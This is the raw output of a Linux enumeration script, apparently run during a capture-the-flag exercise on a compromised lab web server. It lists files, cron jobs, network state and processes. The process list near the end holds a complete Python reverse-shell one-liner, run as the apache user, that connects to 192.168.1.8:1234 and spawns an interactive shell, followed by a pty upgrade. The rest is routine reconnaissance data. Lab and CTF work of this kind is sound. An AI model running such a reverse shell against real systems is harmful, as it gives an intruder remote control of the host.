-rw-r--r--. 1 root root 2227 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/genksyms/.lex.o.cmd
-rw-r--r--. 1 root root 1789 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.pnmtologo.cmd
-rw-r--r--. 1 root root 1485 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.conmakehash.cmd
-rw-r--r--. 1 root root 172 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.gitignore
-rw-r--r--. 1 root root 3157 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.zconf.tab.o.cmd
-rw-r--r--. 1 root root 1806 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.kxgettext.o.cmd
-rw-r--r--. 1 root root 2158 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.conf.o.cmd
-rw-r--r--. 1 root root 110 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/.conf.cmd
-rw-r--r--. 1 root root 31 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/kconfig/lxdialog/.gitignore
-rw-r--r--. 1 root root 1631 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/.unifdef.cmd
-rw-r--r--. 1 root root 111 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.elfconfig.h.cmd
-rw-r--r--. 1 root root 129 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.modpost.cmd
-rw-r--r--. 1 root root 1771 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.empty.o.cmd
-rw-r--r--. 1 root root 34 Dec 2 2009 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.gitignore
-rw-r--r--. 1 root root 2455 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.mod-extract.cmd
-rw-r--r--. 1 root root 2780 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.sumversion.o.cmd
-rw-r--r--. 1 root root 2308 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.modpost.o.cmd
-rw-r--r--. 1 root root 1556 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.mk_elfconfig.cmd
-rw-r--r--. 1 root root 2011 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/scripts/mod/.file2alias.o.cmd
-rw-r--r--. 1 root root 107134 Jul 23 2015 /usr/src/kernels/2.6.32-573.el6.x86_64/.config
-rw-r--r--. 1 root root 55 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/dtc/.gitignore
-rw-r--r--. 1 root root 1430 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.kallsyms.cmd
-rw-r--r--. 1 root root 21 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/selinux/mdp/.gitignore
-rw-r--r--. 1 root root 1743 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/selinux/mdp/.mdp.cmd
-rw-r--r--. 1 root root 2088 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/selinux/genheaders/.genheaders.cmd
-rw-r--r--. 1 root root 20 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.gitignore
-rw-r--r--. 1 root root 2711 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.fixdep.cmd
-rw-r--r--. 1 root root 2266 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.docproc.cmd
-rw-r--r--. 1 root root 1423 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.hash.cmd
-rw-r--r--. 1 root root 85 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.gitignore
-rw-r--r--. 1 root root 37 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.gitignore
-rw-r--r--. 1 root root 145 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.genksyms.cmd
-rw-r--r--. 1 root root 1024 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.parse.o.cmd
-rw-r--r--. 1 root root 1715 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.genksyms.o.cmd
-rw-r--r--. 1 root root 2227 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.lex.o.cmd
-rw-r--r--. 1 root root 1789 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.pnmtologo.cmd
-rw-r--r--. 1 root root 1485 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.conmakehash.cmd
-rw-r--r--. 1 root root 172 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.gitignore
-rw-r--r--. 1 root root 3157 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.zconf.tab.o.cmd
-rw-r--r--. 1 root root 1806 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.kxgettext.o.cmd
-rw-r--r--. 1 root root 2158 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.conf.o.cmd
-rw-r--r--. 1 root root 110 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.conf.cmd
-rw-r--r--. 1 root root 31 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/lxdialog/.gitignore
-rw-r--r--. 1 root root 1631 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.unifdef.cmd
-rw-r--r--. 1 root root 111 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.elfconfig.h.cmd
-rw-r--r--. 1 root root 129 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.modpost.cmd
-rw-r--r--. 1 root root 1803 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.empty.o.cmd
-rw-r--r--. 1 root root 34 Dec 2 2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.gitignore
-rw-r--r--. 1 root root 2455 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.mod-extract.cmd
-rw-r--r--. 1 root root 2780 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.sumversion.o.cmd
-rw-r--r--. 1 root root 2308 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.modpost.o.cmd
-rw-r--r--. 1 root root 1556 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.mk_elfconfig.cmd
-rw-r--r--. 1 root root 2011 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.file2alias.o.cmd
-rw-r--r--. 1 root root 107138 Nov 10 2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/.config
-rw-r--r--. 1 root root 65 Aug 13 2015 /usr/sbin/.sshd.hmac
-rw-r--r--. 1 root root 40 Sep 22 2015 /usr/share/man/man1/..1.gz
-rw-r--r--. 1 root root 42 Jul 23 2015 /usr/share/man/man5/.k5identity.5.gz
-rw-r--r--. 1 root root 39 Jul 23 2015 /usr/share/man/man5/.k5login.5.gz
-rw-r--r-- 1 root root 0 Aug 21 09:20 /.autofsck
-rw-r--r--. 1 eezeepz eezeepz 18 Sep 22 2015 /home/eezeepz/.bash_logout
-rw-r--r--. 1 eezeepz eezeepz 124 Sep 22 2015 /home/eezeepz/.bashrc
-rw-r--r--. 1 eezeepz eezeepz 176 Sep 22 2015 /home/eezeepz/.bash_profile
-rw-r--r--. 1 root root 0 Nov 17 2015 /var/cache/yum/x86_64/6/.gpgkeyschecked.yum
-rw-r--r--. 1 root root 0 Nov 17 2015 /var/lib/rpm/.rpm.lock
-rw-r--r-- 1 root root 0 Nov 17 2015 /.autorelabel
[-] World-readable files within /home:
-rwxr-xr-x. 1 eezeepz eezeepz 24376 Nov 17 2015 /home/eezeepz/MAKEDEV
-rwxr-xr-x. 1 eezeepz eezeepz 504400 Nov 17 2015 /home/eezeepz/xfs_repair
-rwxr-xr-x. 1 eezeepz eezeepz 48712 Nov 17 2015 /home/eezeepz/chmod
-rwxr-xr-x. 1 eezeepz eezeepz 5344 Nov 17 2015 /home/eezeepz/ctrlaltdel
-rwxr-xr-x. 1 eezeepz eezeepz 21112 Nov 17 2015 /home/eezeepz/true
-rwxr-xr-x. 1 eezeepz eezeepz 41704 Nov 17 2015 /home/eezeepz/cut
-rwxr-xr-x. 1 eezeepz eezeepz 12304 Nov 17 2015 /home/eezeepz/tracepath6
-rwxr-xr-x. 1 eezeepz eezeepz 5512 Nov 17 2015 /home/eezeepz/netreport
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17 2015 /home/eezeepz/hostname
-rwxr-xr-x. 1 eezeepz eezeepz 11440 Nov 17 2015 /home/eezeepz/tracepath
-rwxr-xr-x. 1 eezeepz eezeepz 14832 Nov 17 2015 /home/eezeepz/halt
-rwxr-xr-x. 1 eezeepz eezeepz 16472 Nov 17 2015 /home/eezeepz/killall5
-rwxr-xr-x. 1 eezeepz eezeepz 129992 Nov 17 2015 /home/eezeepz/cpio
-rw-r--r--. 1 eezeepz eezeepz 18 Sep 22 2015 /home/eezeepz/.bash_logout
-rwxr-xr-x. 1 eezeepz eezeepz 12216 Nov 17 2015 /home/eezeepz/wipefs
-rwxr-xr-x. 1 eezeepz eezeepz 171784 Nov 17 2015 /home/eezeepz/nano
-rwxr-xr-x. 1 eezeepz eezeepz 4736 Nov 17 2015 /home/eezeepz/nologin
-rw-r--r--. 1 eezeepz eezeepz 124 Sep 22 2015 /home/eezeepz/.bashrc
-rwxr-xr-x. 1 eezeepz eezeepz 249000 Nov 17 2015 /home/eezeepz/tc
-rwxr-xr-x. 1 eezeepz eezeepz 11576 Nov 17 2015 /home/eezeepz/kill
-rwxr-xr-x. 1 eezeepz eezeepz 13892 Nov 17 2015 /home/eezeepz/new-kernel-pkg
-rwxr-xr-x. 1 eezeepz eezeepz 15410 Nov 17 2015 /home/eezeepz/weak-modules
-rwxr-xr-x. 1 eezeepz eezeepz 52936 Nov 17 2015 /home/eezeepz/chgrp
-rwxr-xr-x. 1 eezeepz eezeepz 44528 Nov 17 2015 /home/eezeepz/clock
-rwxr-xr-x. 1 eezeepz eezeepz 11352 Nov 17 2015 /home/eezeepz/taskset
-rwxr-xr-x. 1 eezeepz eezeepz 4808 Nov 17 2015 /home/eezeepz/consoletype
-rwxr-xr-x. 1 eezeepz eezeepz 32928 Nov 17 2015 /home/eezeepz/kpartx
-rwxr-xr-x. 1 eezeepz eezeepz 62 Nov 17 2015 /home/eezeepz/zcat
-rwxr-xr-x. 1 eezeepz eezeepz 56720 Nov 17 2015 /home/eezeepz/cfdisk
-rwxr-xr-x. 1 eezeepz eezeepz 31800 Nov 17 2015 /home/eezeepz/chkconfig
-rwxr-xr-x. 1 eezeepz eezeepz 51536 Nov 17 2015 /home/eezeepz/telinit
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17 2015 /home/eezeepz/nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 44528 Nov 17 2015 /home/eezeepz/hwclock
-rwxr-xr-x. 1 eezeepz eezeepz 38608 Nov 17 2015 /home/eezeepz/cryptsetup
-r--r--r--. 1 eezeepz eezeepz 514 Nov 18 2015 /home/eezeepz/notes.txt
-rwxr-xr-x. 1 eezeepz eezeepz 35608 Nov 17 2015 /home/eezeepz/tune2fs
-rwxr-xr-x. 1 eezeepz eezeepz 47928 Nov 17 2015 /home/eezeepz/touch
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17 2015 /home/eezeepz/ypdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 6976 Nov 17 2015 /home/eezeepz/cciss_id
-rwxr-xr-x. 1 eezeepz eezeepz 390616 Nov 17 2015 /home/eezeepz/tar
-rw-r--r--. 1 eezeepz eezeepz 176 Sep 22 2015 /home/eezeepz/.bash_profile
-rwxr-xr-x. 1 eezeepz eezeepz 47520 Nov 17 2015 /home/eezeepz/zic
-rwxr-xr-x. 1 eezeepz eezeepz 7920 Nov 17 2015 /home/eezeepz/kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz 11464 Nov 17 2015 /home/eezeepz/nameif
-rwxr-xr-x. 1 eezeepz eezeepz 25208 Nov 17 2015 /home/eezeepz/nice
-rwxr-xr-x. 1 eezeepz eezeepz 123360 Nov 17 2015 /home/eezeepz/netstat
-rwxr-xr-x. 1 eezeepz eezeepz 25072 Nov 17 2015 /home/eezeepz/chcpu
-rwxr-xr-x. 1 eezeepz eezeepz 53640 Nov 17 2015 /home/eezeepz/chown
-rwxr-xr-x. 1 eezeepz eezeepz 33559 Nov 17 2015 /home/eezeepz/cbq
[-] Home directory contents:
total 28K
drwxr-xr-x. 6 root root 4.0K Nov 17 2015 .
drwxr-xr-x. 19 root root 4.0K Nov 19 2015 ..
drwxr-xr-x. 2 root root 4.0K Aug 24 2015 cgi-bin
drwxr-xr-x. 3 root root 4.0K Nov 17 2015 error
drwxr-xr-x. 7 root root 4.0K Nov 25 2015 html
drwxr-xr-x. 3 root root 4.0K Nov 17 2015 icons
-rw-r--r-- 1 root root 98 Nov 17 2015 notes.txt
### ENVIRONMENTAL #######################################
[-] Environment information:
TERM=linux
PATH=/sbin:/usr/sbin:/bin:/usr/bin
runlevel=3
RUNLEVEL=3
LANGSH_SOURCED=1
PWD=/var/www/html/fristi
LANG=C
previous=N
PREVLEVEL=N
CONSOLETYPE=vt
SHLVL=7
UPSTART_INSTANCE=
UPSTART_EVENTS=runlevel
UPSTART_JOB=rc
_=/bin/env
[-] SELinux seems to be present:
SELinux status: disabled
[-] Path information:
/sbin:/usr/sbin:/bin:/usr/bin
[-] Available shells:
/bin/sh
/bin/bash
/sbin/nologin
/bin/dash
[-] Current umask value:
0022
u=rwx,g=rx,o=rx
[-] umask value as specified in /etc/login.defs:
UMASK 077
[-] Password and storage information:
PASS_MAX_DAYS 99999
PASS_MIN_DAYS 0
PASS_WARN_AGE 7
ENCRYPT_METHOD SHA512
### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-------. 1 root root 0 Nov 10 2015 /etc/cron.deny
-rw-r--r--. 1 root root 457 Sep 26 2011 /etc/crontab
/etc/cron.d:
total 16
drwxr-xr-x. 2 root root 4096 Nov 17 2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rw-r--r--. 1 root root 113 Nov 10 2015 0hourly
-rw-------. 1 root root 108 May 20 2015 raid-check
/etc/cron.daily:
total 12
drwxr-xr-x. 2 root root 4096 Nov 17 2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rwx------. 1 root root 180 Jul 9 2003 logrotate
/etc/cron.hourly:
total 12
drwxr-xr-x. 2 root root 4096 Nov 17 2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rwxr-xr-x. 1 root root 409 Nov 10 2015 0anacron
/etc/cron.monthly:
total 8
drwxr-xr-x. 2 root root 4096 Sep 26 2011 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
/etc/cron.weekly:
total 8
drwxr-xr-x. 2 root root 4096 Sep 26 2011 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
[-] Crontab contents:
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
[-] Anacron jobs and associated file permissions:
-rw-------. 1 root root 541 Nov 10 2015 /etc/anacrontab
[-] When were jobs last executed (/var/spool/anacron contents):
total 20
drwxr-xr-x. 2 root root 4096 Nov 10 2015 .
drwxr-xr-x. 8 root root 4096 Nov 17 2015 ..
-rw-------. 1 root root 9 Aug 21 11:29 cron.daily
-rw-------. 1 root root 9 Aug 21 12:09 cron.monthly
-rw-------. 1 root root 9 Aug 21 11:49 cron.weekly
### NETWORKING ##########################################
[-] Network and IP info:
eth0 Link encap:Ethernet HWaddr 08:00:27:A5:A6:76
inet addr:192.168.1.49 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: 2a01:e35:1394:b540:a00:27ff:fea5:a676/64 Scope:Global
inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:980913 errors:0 dropped:0 overruns:0 frame:0
TX packets:788764 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:98114952 (93.5 MiB) TX bytes:125308780 (119.5 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)
[-] ARP history:
? (192.168.1.8) at 08:00:27:ca:e8:b7 [ether] on eth0
? (192.168.1.254) at 68:a3:78:8b:0c:dd [ether] on eth0
? (192.168.1.29) at f4:5c:89:c9:be:c5 [ether] on eth0
[-] Nameserver(s):
nameserver 192.168.1.254
[-] Default route:
default 192.168.1.254 0.0.0.0 UG 0 0 0 eth0
[-] Listening TCP:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 2685/python
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.49:39980 192.168.1.8:1234 ESTABLISHED 2699/python
tcp 0 0 :::80 :::* LISTEN -
tcp 0 0 ::ffff:192.168.1.49:80 ::ffff:192.168.1.8:36084 ESTABLISHED -
tcp 0 0 ::ffff:192.168.1.49:80 ::ffff:192.168.1.8:36044 ESTABLISHED -
[-] Listening UDP:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:68 0.0.0.0:* -
### SERVICES #############################################
[-] Running processes:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 19232 1492 ? Ss 10:15 0:00 /sbin/init
root 2 0.0 0.0 0 0 ? S 10:15 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 10:15 0:00 [migration/0]
root 4 0.0 0.0 0 0 ? S 10:15 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S 10:15 0:00 [stopper/0]
root 6 0.0 0.0 0 0 ? S 10:15 0:00 [watchdog/0]
root 7 0.0 0.0 0 0 ? S 10:15 0:02 [events/0]
root 8 0.0 0.0 0 0 ? S 10:15 0:00 [events/0]
root 9 0.0 0.0 0 0 ? S 10:15 0:00 [events_long/0]
root 10 0.0 0.0 0 0 ? S 10:15 0:00 [events_power_ef]
root 11 0.0 0.0 0 0 ? S 10:15 0:00 [cgroup]
root 12 0.0 0.0 0 0 ? S 10:15 0:00 [khelper]
root 13 0.0 0.0 0 0 ? S 10:15 0:00 [netns]
root 14 0.0 0.0 0 0 ? S 10:15 0:00 [async/mgr]
root 15 0.0 0.0 0 0 ? S 10:15 0:00 [pm]
root 16 0.0 0.0 0 0 ? S 10:15 0:00 [sync_supers]
root 17 0.0 0.0 0 0 ? S 10:15 0:00 [bdi-default]
root 18 0.0 0.0 0 0 ? S 10:15 0:00 [kintegrityd/0]
root 19 0.0 0.0 0 0 ? S 10:15 0:00 [kblockd/0]
root 20 0.0 0.0 0 0 ? S 10:15 0:00 [kacpid]
root 21 0.0 0.0 0 0 ? S 10:15 0:00 [kacpi_notify]
root 22 0.0 0.0 0 0 ? S 10:15 0:00 [kacpi_hotplug]
root 23 0.0 0.0 0 0 ? S 10:15 0:00 [ata_aux]
root 24 0.0 0.0 0 0 ? S 10:15 0:00 [ata_sff/0]
root 25 0.0 0.0 0 0 ? S 10:15 0:00 [ksuspend_usbd]
root 26 0.0 0.0 0 0 ? S 10:15 0:00 [khubd]
root 27 0.0 0.0 0 0 ? S 10:15 0:00 [kseriod]
root 28 0.0 0.0 0 0 ? S 10:15 0:00 [md/0]
root 29 0.0 0.0 0 0 ? S 10:15 0:00 [md_misc/0]
root 30 0.0 0.0 0 0 ? S 10:15 0:00 [linkwatch]
root 32 0.0 0.0 0 0 ? S 10:15 0:00 [khungtaskd]
root 33 0.0 0.0 0 0 ? S 10:15 0:00 [kswapd0]
root 34 0.0 0.0 0 0 ? SN 10:15 0:00 [ksmd]
root 35 0.0 0.0 0 0 ? SN 10:15 0:00 [khugepaged]
root 36 0.0 0.0 0 0 ? S 10:15 0:00 [aio/0]
root 37 0.0 0.0 0 0 ? S 10:15 0:00 [crypto/0]
root 44 0.0 0.0 0 0 ? S 10:15 0:00 [kthrotld/0]
root 46 0.0 0.0 0 0 ? S 10:15 0:00 [kpsmoused]
root 47 0.0 0.0 0 0 ? S 10:15 0:00 [usbhid_resumer]
root 48 0.0 0.0 0 0 ? S 10:15 0:00 [deferwq]
root 81 0.0 0.0 0 0 ? S 10:15 0:00 [kdmremove]
root 82 0.0 0.0 0 0 ? S 10:15 0:00 [kstriped]
root 182 0.0 0.0 0 0 ? S 10:15 0:00 [scsi_eh_0]
root 183 0.0 0.0 0 0 ? S 10:15 0:00 [scsi_eh_1]
root 213 0.0 0.0 0 0 ? S 10:15 0:00 [scsi_eh_2]
root 281 0.0 0.0 0 0 ? S 10:15 0:00 [kdmflush]
root 283 0.0 0.0 0 0 ? S 10:15 0:00 [kdmflush]
root 301 0.0 0.0 0 0 ? S 10:15 0:00 [jbd2/dm-0-8]
root 302 0.0 0.0 0 0 ? S 10:15 0:00 [ext4-dio-unwrit]
root 381 0.0 0.0 10768 872 ? S<s 10:15 0:00 /sbin/udevd -d
root 532 0.0 0.0 0 0 ? S 10:15 0:00 [iprt-VBoxWQueue]
root 672 0.0 0.0 10768 892 ? S< 10:15 0:00 /sbin/udevd -d
root 680 0.0 0.0 10636 772 ? S< 10:15 0:00 /sbin/udevd -d
root 705 0.0 0.0 0 0 ? S 10:15 0:00 [flush-253:0]
root 706 0.0 0.0 0 0 ? S 10:15 0:00 [jbd2/sda1-8]
root 707 0.0 0.0 0 0 ? S 10:15 0:00 [ext4-dio-unwrit]
root 757 0.0 0.0 0 0 ? S 10:15 0:00 [kauditd]
root 1005 0.0 0.0 9120 772 ? Ss 10:15 0:00 /sbin/dhclient -1 -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0
root 1073 0.0 0.0 27596 812 ? S<sl 10:15 0:00 auditd
root 1095 0.0 0.1 249084 1616 ? Sl 10:15 0:00 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
root 1208 0.0 0.1 335540 1296 ? Sl 10:15 0:01 /usr/sbin/VBoxService --pidfile /var/lock/subsys/vboxadd-service
root 1250 0.0 0.1 108168 1568 ? S 10:15 0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --pid-file=/var/run/mysqld/mysqld.pid --basedir=/usr --user=mysql
mysql 1352 0.0 2.7 443228 28332 ? Sl 10:15 0:02 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/lib/mysql/mysql.sock
root 1379 0.0 1.0 251996 11024 ? Ss 10:15 0:00 /usr/sbin/httpd
root 1391 0.0 0.1 116860 1220 ? Ss 10:15 0:00 crond
root 1412 0.0 0.0 4064 596 tty1 Ss+ 10:15 0:00 /sbin/mingetty /dev/tty1
root 1414 0.0 0.0 4064 596 tty2 Ss+ 10:15 0:00 /sbin/mingetty /dev/tty2
root 1416 0.0 0.0 4064 596 tty3 Ss+ 10:15 0:00 /sbin/mingetty /dev/tty3
root 1418 0.0 0.0 4064 596 tty4 Ss+ 10:15 0:00 /sbin/mingetty /dev/tty4
root 1420 0.0 0.0 4064 600 tty5 Ss+ 10:15 0:00 /sbin/mingetty /dev/tty5
root 1422 0.0 0.0 4064 600 tty6 Ss+ 10:15 0:00 /sbin/mingetty /dev/tty6
apache 2448 0.0 0.7 252616 7800 ? S 11:29 0:00 /usr/sbin/httpd
apache 2449 0.0 0.7 252700 7752 ? S 11:29 0:00 /usr/sbin/httpd
apache 2450 0.0 0.7 252700 7736 ? S 11:29 0:00 /usr/sbin/httpd
apache 2451 0.0 0.7 252700 7792 ? S 11:29 0:00 /usr/sbin/httpd
apache 2452 0.0 0.7 252700 7872 ? S 11:29 0:00 /usr/sbin/httpd
apache 2453 0.0 0.7 252188 7872 ? S 11:29 0:00 /usr/sbin/httpd
apache 2454 0.0 0.7 252700 7764 ? S 11:29 0:00 /usr/sbin/httpd
apache 2455 0.0 0.7 253120 8056 ? S 11:29 0:00 /usr/sbin/httpd
apache 2684 0.0 0.1 11300 1292 ? S 12:12 0:00 sh -c cd /;python -m SimpleHTTPServer 8000 2>&1
apache 2685 0.0 0.8 80736 8448 ? S 12:12 0:00 python -m SimpleHTTPServer 8000
apache 2698 0.0 0.1 11300 1288 ? S 12:14 0:00 sh -c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 2>&1
apache 2699 0.0 0.6 64384 6260 ? S 12:14 0:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
apache 2700 0.0 0.1 11436 1632 ? S 12:14 0:00 /bin/sh -i
apache 2739 0.0 0.3 24452 3860 ? S 12:21 0:00 python -c import pty; pty.spawn("/bin/bash")